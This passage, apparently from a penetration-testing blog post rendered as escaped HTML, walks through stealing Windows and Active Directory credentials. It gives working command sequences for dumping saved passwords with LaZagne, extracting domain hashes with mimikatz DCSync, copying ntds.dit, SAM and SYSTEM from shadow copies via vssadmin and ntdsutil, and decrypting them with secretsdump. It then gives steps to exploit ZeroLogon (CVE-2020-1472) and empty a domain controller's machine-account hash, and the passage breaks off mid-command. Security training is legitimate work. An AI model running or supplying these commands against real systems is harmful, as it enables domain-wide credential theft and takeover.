retrieve:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Passwords saved by browsers&lt;/li&gt;&#10;&lt;li&gt;Saved WiFi passwords&lt;/li&gt;&#10;&lt;li&gt;Windows credentials&lt;/li&gt;&#10;&lt;li&gt;Email clients&lt;/li&gt;&#10;&lt;li&gt;Development tool configurations&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lazagne.exe all # Retrieve all passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lazagne.exe browsers # Retrieve browser passwords only&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lazagne.exe wifi # Retrieve Wi-Fi passwords only&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="3-shadow-copies-retrieving-all-hashes-from-a-domain-controller"&gt;&lt;a href="#3-shadow-copies-retrieving-all-hashes-from-a-domain-controller" class="header-anchor"&gt;&lt;/a&gt;3. Shadow Copies (Retrieving All Hashes from a Domain Controller)&#10;&lt;/h2&gt;&lt;p&gt;So what exactly is ntds.dit?&lt;/p&gt;&#10;&lt;p&gt;Ntds.dit is a binary file found on domain controllers in a domain environment. It is the primary Active Directory database, located at &lt;code&gt;%SystemRoot%\ntds\ntds.dit&lt;/code&gt; on the domain controller. Active Directory keeps this file open, so it cannot normally be read. Ntds.dit contains information including, but not limited to, domain users, groups, group memberships, credentials, and GPP. It holds the password hashes of every user in the domain. For additional protection, those hashes are encrypted with a key stored in the SYSTEM registry hive.&lt;/p&gt;&#10;&lt;p&gt;In a non-domain, or workgroup, environment, user passwords and similar information are stored in the SAM file. Decrypting either a SAM file or Ntds.dit also requires a System file. Like the SAM file, Ntds.dit is locked by Windows by default. These are also files we often need to export when using mimikatz.&lt;/p&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;code&gt;plain ntds.dit file location: C:\Windows\NTDS\NTDS.dit system file location:C:\Windows\System32\config\SYSTEM sam file location:C:\Windows\System32\config\SAM &lt;/code&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;There are several ways to export this file.&lt;/p&gt;&#10;&lt;h4 id="mimikatz-dcsync"&gt;&lt;a href="#mimikatz-dcsync" class="header-anchor"&gt;&lt;/a&gt;mimikatz-dcsync&#10;&lt;/h4&gt;&lt;p&gt;Prerequisite: high privileges&lt;/p&gt;&#10;&lt;p&gt;Mimikatz has a feature called dcsync, which can use the Directory Replication Service (DRS) to extract password hashes from the NTDS.DIT file.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;DCSync is&lt;/strong&gt; a feature added to mimikatz in 2015. It uses this principle to impersonate one domain controller and send a data synchronization request to another through the GetNCChanges interface of the Directory Replication Service (DRS). This can be used to export the hashes of every user in the domain.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;What DCSync really does:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Uses the DRS replication protocol&lt;/li&gt;&#10;&lt;li&gt;Requests the target data directly&lt;/li&gt;&#10;&lt;li&gt;Does not copy the NTDS.dit file&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe lsadump::dcsync /domain:test.local /all /csv &#9;&#9;// Use DCSync to retrieve hashes for all users in the test domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz lsadump::dcsync /domain:test.local /user:admin&#9;&#9;// Retrieve details for a single user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz lsadump::lsa /inject&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::sam # SAM of the current system&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::sam /system:system.hiv /sam:sam.hiv # Specify files&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="vssadmin-shadow-copies"&gt;&lt;a href="#vssadmin-shadow-copies" class="header-anchor"&gt;&lt;/a&gt;vssadmin Shadow Copies&#10;&lt;/h4&gt;&lt;p&gt;vssadmin is a command-line management tool for the Volume Shadow Copy Service on Windows. It can create and delete shadow copies, list shadow-copy information, display all installed shadow-copy writers and providers, and change the amount of storage allocated to shadow copies.&lt;/p&gt;&#10;&lt;p&gt;Supported systems: Windows 10, Windows 8.1, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012, Windows Server 2008 R2, Windows Server 2008&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vssadmin create shadow /for=C:&#9;&#9;&#9;&#9;&#9;&#9;&#9;// Create a shadow copy of drive C:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit&#9;&#9;// Copy ntds.dit from the created shadow copy to drive C:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM c:\sam.hiv&#9; // Copy sam.hiv from the created shadow copy to drive C:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;system.hiv is also required&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vssadmin delete shadows /for=c: /quiet&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decrypt ntds.dit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python D:\python3.9\Scripts\secretsdump.py -ntds ntds.dit -system system.hiv LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decrypt SAM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If an error occurs, you will probably need to run&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip install cryptography==41.0.2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Note that the number in HarddiskVolumeShadowCopy1 changes; use the actual shadow-copy path.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Mimikatz primarily retrieves credentials for logged-on users&lt;/li&gt;&#10;&lt;li&gt;SAM retrieves hashes for local accounts&lt;/li&gt;&#10;&lt;li&gt;NTDS.dit retrieves hashes for the entire domain&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="ntdsutilexe"&gt;&lt;a href="#ntdsutilexe" class="header-anchor"&gt;&lt;/a&gt;ntdsutil.exe&#10;&lt;/h4&gt;&lt;p&gt;Ntdsutil.exe is a command-line tool that provides management facilities for Active Directory. It is installed on domain controllers by default and can be operated directly on a domain controller. It can also be used remotely against a domain controller from another domain-joined machine, though administrator privileges are required. With ntdsutil.exe, you can maintain and manage the Active Directory database, control single-master operations, create application directory partitions, and remove metadata left behind by a domain controller that was successfully demoted with the now-unused Active Directory Installation Wizard (DCPromo.exe), among other tasks.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil snapshot &amp;#34;activate instance ntds&amp;#34; create quit quit // First create a snapshot containing all Windows files; Windows locking does not affect copying from it&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil snapshot &amp;#34;mount {ID}&amp;#34; quit quit&#9; &#9;&#9;// Mount the snapshot just created&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt;ntdsutil snapshot &amp;#34;mount {5d42befe-0029-4f76-b6d9-f87329ce8119}&amp;#34; quit quit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy C:\$SNAP_202411192306_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SYSTEM c:\system.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SAM c:\sam.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;//Copy the three files from the snapshot to the C drive.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;//Delete the snapshot we just created.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil snapshot &amp;#34;mount {5d42befe-0029-4f76-b6d9-f87329ce8119}&amp;#34; &amp;#34;delete {5d42befe-0029-4f76-b6d9-f87329ce8119}&amp;#34; quit quit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Besides using the approach above to retrieve ntds.dit, you can also use Ntdsutil.exe to create an Install From Media set (IFM) and extract the NTDS.dit file. When ntdsutil creates an IFM set, it automatically generates and mounts a snapshot, then copies ntds.dit and the computer&amp;rsquo;s SAM and SYSTEM files into the target folder. We can take advantage of this process to obtain the NTDS.dit file. Administrator privileges are required.&lt;/p&gt;&#10;&lt;p&gt;Ntdsutil is a command-line utility for working with Active Directory locally, and it enables DCPromo to create IFM sets. IFM is used with DCPromo to &amp;ldquo;install from media,&amp;rdquo; so the server being promoted does not need to replicate domain data over the network from another DC.&lt;/p&gt;&#10;&lt;p&gt;When an IFM is created, a VSS snapshot is automatically taken and mounted, and the NTDS.DIT file and related data are copied into the target folder.&lt;/p&gt;&#10;&lt;p&gt;Run the following commands on the domain controller:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil &amp;#34;activate instance ntds&amp;#34; Ifm &amp;#34;create full C:\ntdsutil&amp;#34; Quit quit&#9;&#9;// Generate files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil &amp;#34;ac i ntds&amp;#34; &amp;#34;ifm&amp;#34; &amp;#34;create full c:\ntdsutil&amp;#34; q q&#9;&#9;&#9;// Short form&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use SYSTEM directly to decrypt it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;secretsdump.py -ntds &amp;#34;Active Directory/ntds.dit&amp;#34; -system registry/SYSTEM LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;secretsdump.py -sam sam.save -system system.save -security security.save LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="exploiting-zerologon-cve-2020-1472"&gt;&lt;a href="#exploiting-zerologon-cve-2020-1472" class="header-anchor"&gt;&lt;/a&gt;Exploiting ZeroLogon (CVE-2020-1472)&#10;&lt;/h2&gt;&lt;p&gt;Affected system versions: all versions after Win2008&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 1903 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 1909 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 2004 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Requirements for exploitation:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;An attacker only needs the domain controller hostname and IP address plus network access to obtain domain administrator privileges without credentials, even from outside the domain.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Note: A domain controller&amp;rsquo;s machine-account HASH is stored in the registry and loaded into lsass when the system starts. When an attack empties the domain controller&amp;rsquo;s HASH, only the password in AD (NTDS.DIT) is changed—not the password in the registry or the one loaded into lsass. If the credential stored for the domain controller in the domain no longer matches the credential in its local registry/lsass, the domain controller will lose its domain trust and Kerberos authentication will stop working. It therefore needs to be restored as soon as possible.&lt;/p&gt;&#10;&lt;h4 id="step-1-verify-that-the-vulnerability-exists"&gt;&lt;a href="#step-1-verify-that-the-vulnerability-exists" class="header-anchor"&gt;&lt;/a&gt;Step 1: Verify That the Vulnerability Exists&#10;&lt;/h4&gt;&lt;p&gt;How to obtain the account&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Method 1: Mimikatz&lt;/p&gt;&#10;&lt;p&gt;Download a recent version that supports exploiting ZeroLogon: &lt;a class="link" href="https://github.com/gentilkiwi/mimikatz" target="_blank" rel="noopener"&#10; &gt;https://github.com/gentilkiwi/mimikatz&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;lsadump::zerologon /target:192.168.0.111 /account:WIN-RITHFS5KHEN$&amp;#34; exit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Method 2: Tool from &lt;a class="link" href="https://github.com/SecuraBV/CVE-2020-1472" target="_blank" rel="noopener"&#10; &gt;https://github.com/SecuraBV/CVE-2020-1472&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python zerologon_tester.py WIN-RITHFS5KHEN 192.168.0.111&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="step-2-empty-the-domain-controller-hash"&gt;&lt;a href="#step-2-empty-the-domain-controller-hash" class="header-anchor"&gt;&lt;/a&gt;Step 2: Empty the Domain Controller HASH&#10;&lt;/h4&gt;&lt;p&gt;Note: A domain controller&amp;rsquo;s machine-account HASH is stored in the registry and loaded into lsass when the system starts. When an attack empties the domain controller&amp;rsquo;s HASH, only the password in AD (NTDS.DIT) is changed—not the password in the registry or the one loaded into lsass. This causes the domain controller to lose its domain trust, making Kerberos authentication unavailable, so it must be restored as soon as possible.&lt;/p&gt;&#10;&lt;p&gt;Method 1: Mimikatz&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;lsadump::zerologon /target:192.168.0.110 /account:WINDOWSSERVERAD$ /exploit&amp;#34; 